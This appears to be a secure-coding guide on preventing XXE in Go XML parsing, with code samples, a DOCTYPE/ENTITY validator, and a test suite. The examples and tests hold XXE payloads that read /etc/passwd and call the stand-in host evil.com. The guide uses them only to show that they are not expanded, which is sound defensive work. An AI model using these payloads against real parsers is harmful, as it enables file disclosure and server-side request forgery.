Skip to content
šŸ”µInfo0.0

Go XXE Prevention

Complete guide to preventing XXE vulnerabilities in Go applications using encoding/xml and other XML libraries.

CWE-611: Improper Restriction of XML External Entity ReferenceOWASP Top 10:2021 - A05: Security Misconfiguration

Overview

Go's standard library encoding/xml package is safe from XXE by default. It does not support external entities or DTD processing, making it inherently secure against XXE attacks.

Go XML Libraries:

  • encoding/xml (standard library) - Safe by default, no external entity support
  • libxml2 bindings (third-party) - May be vulnerable if not configured properly
  • etree (third-party) - Safe, no external entity support
  • xmlquery (third-party) - Built on encoding/xml, inherits safety

Security Status:

  • encoding/xml - SAFE (no external entity support)
  • Most third-party libraries - SAFE (pure Go implementations)
  • CGO bindings to libxml2/expat - CHECK CAREFULLY

Best Practice: Use Go's standard encoding/xml package. If using CGO bindings to C libraries, verify external entity handling is disabled.

encoding/xml (Safe by Default)

Standard Library Safety: Go's encoding/xml package does NOT support:

  • External entities (SYSTEM or PUBLIC)
  • DTD processing
  • Entity expansion beyond predefined entities (< > & " ')

What This Means:

  • XXE payloads will NOT work
  • External entity declarations are ignored
  • No file disclosure via XML
  • No SSRF via XML
  • No billion laughs attacks via entities

Predefined Entities Only: The standard library only expands the 5 predefined XML entities:

&lt;   →  <
&gt;   →  >
&amp;  →  &
&quot; →  "
&apos; →  '

Any custom entities (internal or external) are ignored or cause parse errors.

encoding/xml Secure Usage

Gomain.goāœ“ Secure
1package main
2
3import (
4	"encoding/xml"
5	"fmt"
6	"io"
7	"net/http"
8)
9
10// Define your XML structure
11type Message struct {
12	XMLName xml.Name `xml:"root"`
13	Data    string   `xml:"data"`
14	Value   int      `xml:"value"`
15}
16
17// SECURE: Standard parsing with encoding/xml
18func parseXMLSecure(xmlData []byte) (*Message, error) {
19	var msg Message
20	
21	// This is safe - external entities ignored
22	err := xml.Unmarshal(xmlData, &msg)
23	if err != nil {
24		return nil, fmt.Errorf("invalid XML: %w", err)
25	}
26	
27	return &msg, nil
28}
29
30// SECURE: HTTP handler with input validation
31func xmlHandler(w http.ResponseWriter, r *http.Request) {
32	// Validate content type
33	if r.Header.Get("Content-Type") != "application/xml" {
34		http.Error(w, "Invalid content type", http.StatusUnsupportedMediaType)
35		return
36	}
37	
38	// Limit request body size (1MB)
39	maxSize := int64(1048576)
40	r.Body = http.MaxBytesReader(w, r.Body, maxSize)
41	
42	// Read body
43	xmlData, err := io.ReadAll(r.Body)
44	if err != nil {
45		http.Error(w, "Request too large", http.StatusRequestEntityTooLarge)
46		return
47	}
48	defer r.Body.Close()
49	
50	// Parse XML (safe from XXE)
51	msg, err := parseXMLSecure(xmlData)
52	if err != nil {
53		http.Error(w, "Invalid XML", http.StatusBadRequest)
54		return
55	}
56	
57	// Process message
58	fmt.Fprintf(w, "Processed: %s\n", msg.Data)
59}
60
61func main() {
62	http.HandleFunc("/api/xml", xmlHandler)
63	fmt.Println("Server starting on :8080")
64	http.ListenAndServe(":8080", nil)
65}

Using xml.Decoder for Streaming

Godecoder_example.goāœ“ Secure
1package main
2
3import (
4	"encoding/xml"
5	"fmt"
6	"io"
7	"strings"
8)
9
10// SECURE: Streaming XML parsing with xml.Decoder
11func parseXMLStream(xmlReader io.Reader) error {
12	// Create decoder from reader
13	decoder := xml.NewDecoder(xmlReader)
14	
15	// Decoder is safe - does not expand external entities
16	// Even if XML contains <!DOCTYPE> with entities, they're ignored
17	
18	for {
19		// Read next token
20		token, err := decoder.Token()
21		if err == io.EOF {
22			break
23		}
24		if err != nil {
25			return fmt.Errorf("parse error: %w", err)
26		}
27		
28		// Process token based on type
29		switch elem := token.(type) {
30		case xml.StartElement:
31			fmt.Printf("Start element: %s\n", elem.Name.Local)
32			
33		case xml.EndElement:
34			fmt.Printf("End element: %s\n", elem.Name.Local)
35			
36		case xml.CharData:
37			fmt.Printf("Character data: %s\n", string(elem))
38		}
39	}
40	
41	return nil
42}
43
44// Example with XXE attempt (will be safely ignored)
45func exampleXXEAttempt() {
46	xxePayload := `<?xml version="1.0"?>
47<!DOCTYPE root [
48  <!ENTITY xxe SYSTEM "file:///etc/passwd">
49]>
50<root>
51  <data>&xxe;</data>
52</root>`
53	
54	reader := strings.NewReader(xxePayload)
55	
56	// This is SAFE - the &xxe; entity will NOT be expanded
57	// encoding/xml ignores external entity declarations
58	err := parseXMLStream(reader)
59	if err != nil {
60		fmt.Printf("Error: %v\n", err)
61	}
62	
63	// The &xxe; reference will either:
64	// 1. Be left as literal "&xxe;"
65	// 2. Cause a parse error (entity not defined)
66	// It will NOT read /etc/passwd
67}

Input Validation and Sanitization

Govalidator.goāœ“ Secure
1package main
2
3import (
4	"bytes"
5	"encoding/xml"
6	"errors"
7	"fmt"
8	"regexp"
9)
10
11// XMLValidator provides input validation for XML
12type XMLValidator struct {
13	MaxSize          int64
14	AllowDOCTYPE     bool
15	AllowedRootNames []string
16}
17
18// NewXMLValidator creates validator with secure defaults
19func NewXMLValidator() *XMLValidator {
20	return &XMLValidator{
21		MaxSize:      1048576, // 1MB
22		AllowDOCTYPE: false,   // Reject DOCTYPE by default
23	}
24}
25
26// Validate checks XML before parsing
27func (v *XMLValidator) Validate(xmlData []byte) error {
28	// Size check
29	if int64(len(xmlData)) > v.MaxSize {
30		return fmt.Errorf("XML exceeds maximum size of %d bytes", v.MaxSize)
31	}
32	
33	// DOCTYPE check (defense in depth)
34	if !v.AllowDOCTYPE {
35		doctypeRegex := regexp.MustCompile(`(?i)<!DOCTYPE`)
36		if doctypeRegex.Match(xmlData) {
37			return errors.New("DOCTYPE declarations not allowed")
38		}
39	}
40	
41	// ENTITY check (additional safety, though encoding/xml ignores them)
42	entityRegex := regexp.MustCompile(`(?i)<!ENTITY`)
43	if entityRegex.Match(xmlData) {
44		return errors.New("ENTITY declarations not allowed")
45	}
46	
47	return nil
48}
49
50// ParseSafe validates and parses XML
51func (v *XMLValidator) ParseSafe(xmlData []byte, target interface{}) error {
52	// Validate first
53	if err := v.Validate(xmlData); err != nil {
54		return fmt.Errorf("validation failed: %w", err)
55	}
56	
57	// Parse (safe due to encoding/xml)
58	if err := xml.Unmarshal(xmlData, target); err != nil {
59		return fmt.Errorf("parse failed: %w", err)
60	}
61	
62	return nil
63}
64
65// Example usage
66type Config struct {
67	XMLName xml.Name `xml:"config"`
68	Name    string   `xml:"name"`
69	Value   string   `xml:"value"`
70}
71
72func main() {
73	validator := NewXMLValidator()
74	
75	xmlData := []byte(`<?xml version="1.0"?>
76<config>
77  <name>test</name>
78  <value>123</value>
79</config>`)
80	
81	var config Config
82	if err := validator.ParseSafe(xmlData, &config); err != nil {
83		fmt.Printf("Error: %v\n", err)
84		return
85	}
86	
87	fmt.Printf("Config: %+v\n", config)
88}

Third-Party XML Libraries

Popular Go XML Libraries:

1. encoding/xml (Standard Library)

  • Status: SAFE
  • Features: Full XML 1.0 support, no external entities
  • Use: Default choice for XML parsing

2. github.com/beevik/etree

  • Status: SAFE
  • Features: Element tree API, pure Go
  • Use: When you need DOM-like manipulation

3. github.com/antchfx/xmlquery

  • Status: SAFE
  • Features: XPath queries, built on encoding/xml
  • Use: When you need XPath support

4. CGO Bindings (libxml2, expat)

  • Status: POTENTIALLY VULNERABLE
  • Warning: May support external entities
  • Recommendation: Avoid unless necessary, configure carefully

When Using Third-Party Libraries:

  • Verify they don't use CGO to call C libraries
  • Check documentation for entity handling
  • Review source code for external entity support
  • Test with XXE payloads

beevik/etree Secure Usage

Goetree_example.goāœ“ Secure
1package main
2
3import (
4	"fmt"
5	"strings"
6	
7	"github.com/beevik/etree"
8)
9
10// SECURE: etree library (pure Go, no external entities)
11func parseWithEtree(xmlData string) error {
12	// Create document
13	doc := etree.NewDocument()
14	
15	// Parse XML (safe - etree doesn't support external entities)
16	if err := doc.ReadFromString(xmlData); err != nil {
17		return fmt.Errorf("parse error: %w", err)
18	}
19	
20	// Navigate and extract data
21	root := doc.SelectElement("root")
22	if root == nil {
23		return fmt.Errorf("root element not found")
24	}
25	
26	// Find elements using XPath-like syntax
27	for _, elem := range root.SelectElements("data") {
28		fmt.Printf("Data: %s\n", elem.Text())
29	}
30	
31	return nil
32}
33
34// Example with XXE attempt (safely ignored)
35func exampleEtreeXXE() {
36	xxePayload := `<?xml version="1.0"?>
37<!DOCTYPE root [
38  <!ENTITY xxe SYSTEM "file:///etc/passwd">
39]>
40<root>
41  <data>&xxe;</data>
42</root>`
43	
44	// This is SAFE - etree will ignore the external entity
45	err := parseWithEtree(xxePayload)
46	if err != nil {
47		fmt.Printf("Error: %v\n", err)
48		return
49	}
50	
51	// The &xxe; entity will NOT be expanded
52}
53
54func main() {
55	// Safe XML example
56	safeXML := `<?xml version="1.0"?>
57<root>
58  <data>Hello World</data>
59</root>`
60	
61	if err := parseWithEtree(safeXML); err != nil {
62		fmt.Printf("Error: %v\n", err)
63	}
64}

Gin Framework XML Handling

Gogin_xml.goāœ“ Secure
1package main
2
3import (
4	"net/http"
5	
6	"github.com/gin-gonic/gin"
7)
8
9// Request structure
10type XMLRequest struct {
11	Name  string `xml:"name" binding:"required"`
12	Email string `xml:"email" binding:"required,email"`
13	Age   int    `xml:"age" binding:"required,min=1,max=120"`
14}
15
16// Response structure
17type XMLResponse struct {
18	Status  string `xml:"status"`
19	Message string `xml:"message"`
20}
21
22func main() {
23	router := gin.Default()
24	
25	// Middleware to limit request size
26	router.Use(func(c *gin.Context) {
27		c.Request.Body = http.MaxBytesReader(c.Writer, c.Request.Body, 1048576) // 1MB
28		c.Next()
29	})
30	
31	// SECURE: Gin uses encoding/xml by default
32	router.POST("/api/xml", func(c *gin.Context) {
33		var req XMLRequest
34		
35		// BindXML uses encoding/xml (safe from XXE)
36		if err := c.BindXML(&req); err != nil {
37			c.XML(http.StatusBadRequest, XMLResponse{
38				Status:  "error",
39				Message: "Invalid XML",
40			})
41			return
42		}
43		
44		// Process request
45		c.XML(http.StatusOK, XMLResponse{
46			Status:  "success",
47			Message: "Processed XML for " + req.Name,
48		})
49	})
50	
51	router.Run(":8080")
52}
53
54// Custom middleware for additional XML validation
55func XMLValidationMiddleware() gin.HandlerFunc {
56	return func(c *gin.Context) {
57		// Check Content-Type
58		if c.ContentType() != "application/xml" {
59			c.AbortWithStatusJSON(http.StatusUnsupportedMediaType, gin.H{
60				"error": "Content-Type must be application/xml",
61			})
62			return
63		}
64		
65		c.Next()
66	}
67}

Testing XXE Prevention

Goxxe_test.goāœ“ Secure
1package main
2
3import (
4	"encoding/xml"
5	"strings"
6	"testing"
7)
8
9type TestMessage struct {
10	XMLName xml.Name `xml:"root"`
11	Data    string   `xml:"data"`
12}
13
14// Test that XXE payloads are NOT expanded
15func TestXXEPrevention(t *testing.T) {
16	tests := []struct {
17		name    string
18		payload string
19	}{
20		{
21			name: "External entity file disclosure",
22			payload: `<?xml version="1.0"?>
23<!DOCTYPE root [
24  <!ENTITY xxe SYSTEM "file:///etc/passwd">
25]>
26<root>
27  <data>&xxe;</data>
28</root>`,
29		},
30		{
31			name: "External entity SSRF",
32			payload: `<?xml version="1.0"?>
33<!DOCTYPE root [
34  <!ENTITY xxe SYSTEM "http://evil.com/xxe">
35]>
36<root>
37  <data>&xxe;</data>
38</root>`,
39		},
40		{
41			name: "Parameter entity",
42			payload: `<?xml version="1.0"?>
43<!DOCTYPE root [
44  <!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
45  %xxe;
46]>
47<root>
48  <data>test</data>
49</root>`,
50		},
51	}
52	
53	for _, tt := range tests {
54		t.Run(tt.name, func(t *testing.T) {
55			var msg TestMessage
56			
57			// Attempt to parse XXE payload
58			err := xml.Unmarshal([]byte(tt.payload), &msg)
59			
60			// Either parse succeeds with entity NOT expanded
61			// OR parse fails (both are acceptable)
62			if err == nil {
63				// Verify no file contents or SSRF data in result
64				if strings.Contains(msg.Data, "root:") ||
65					strings.Contains(msg.Data, "http") {
66					t.Errorf("XXE payload was expanded! Got: %s", msg.Data)
67				}
68				t.Logf("Parse succeeded, entity not expanded: %s", msg.Data)
69			} else {
70				t.Logf("Parse failed (acceptable): %v", err)
71			}
72		})
73	}
74}
75
76// Test that valid XML is parsed correctly
77func TestValidXMLParsing(t *testing.T) {
78	validXML := `<?xml version="1.0"?>
79<root>
80  <data>Hello World</data>
81</root>`
82	
83	var msg TestMessage
84	err := xml.Unmarshal([]byte(validXML), &msg)
85	
86	if err != nil {
87		t.Errorf("Valid XML failed to parse: %v", err)
88	}
89	
90	if msg.Data != "Hello World" {
91		t.Errorf("Expected 'Hello World', got '%s'", msg.Data)
92	}
93}

Go XML Security Best Practices

Best Practices for Go XML Security:

1. Use Standard Library ☐ Prefer encoding/xml over third-party libraries ☐ Inherently safe from XXE ☐ Well-tested and maintained

2. Input Validation ☐ Validate Content-Type header ☐ Enforce size limits (use http.MaxBytesReader) ☐ Reject DOCTYPE declarations (defense in depth) ☐ Validate against expected schema

3. Error Handling ☐ Don't expose parse errors to users ☐ Log errors internally with details ☐ Return generic error messages ☐ Monitor for XXE attempt patterns

4. Third-Party Libraries ☐ Verify no CGO usage (pure Go preferred) ☐ Review for external entity support ☐ Test with XXE payloads ☐ Keep dependencies updated

5. Testing ☐ Include XXE payloads in security tests ☐ Verify entities not expanded ☐ Test with various attack vectors ☐ Automate security testing in CI/CD

6. Monitoring ☐ Log all XML parsing operations ☐ Alert on suspicious patterns (DOCTYPE, ENTITY) ☐ Monitor for parse errors ☐ Track XML endpoint usage

Go XXE Prevention Checklist

☐ Use encoding/xml from standard library • Avoid third-party XML libraries unless necessary • Verify third-party libraries are pure Go

☐ Validate input before parsing • Check Content-Type header • Enforce size limits (1MB default) • Reject DOCTYPE if not needed • Reject ENTITY declarations

☐ Use http.MaxBytesReader • Limit request body size • Prevent DoS via large XML • Apply to all XML endpoints

☐ Implement proper error handling • Don't expose parse errors • Log errors with request context • Return generic error messages

☐ Test XXE prevention • Include XXE tests in test suite • Test all XML parsing code paths • Verify entities not expanded • Test with actual attack payloads

☐ Keep dependencies updated • Run go get -u regularly • Monitor security advisories • Use go mod tidy to clean up

☐ Review code for XML parsing • Audit all xml.Unmarshal calls • Verify no unsafe third-party libs • Check for CGO XML bindings

☐ Monitor and log • Log all XML parsing attempts • Alert on suspicious patterns • Track parsing errors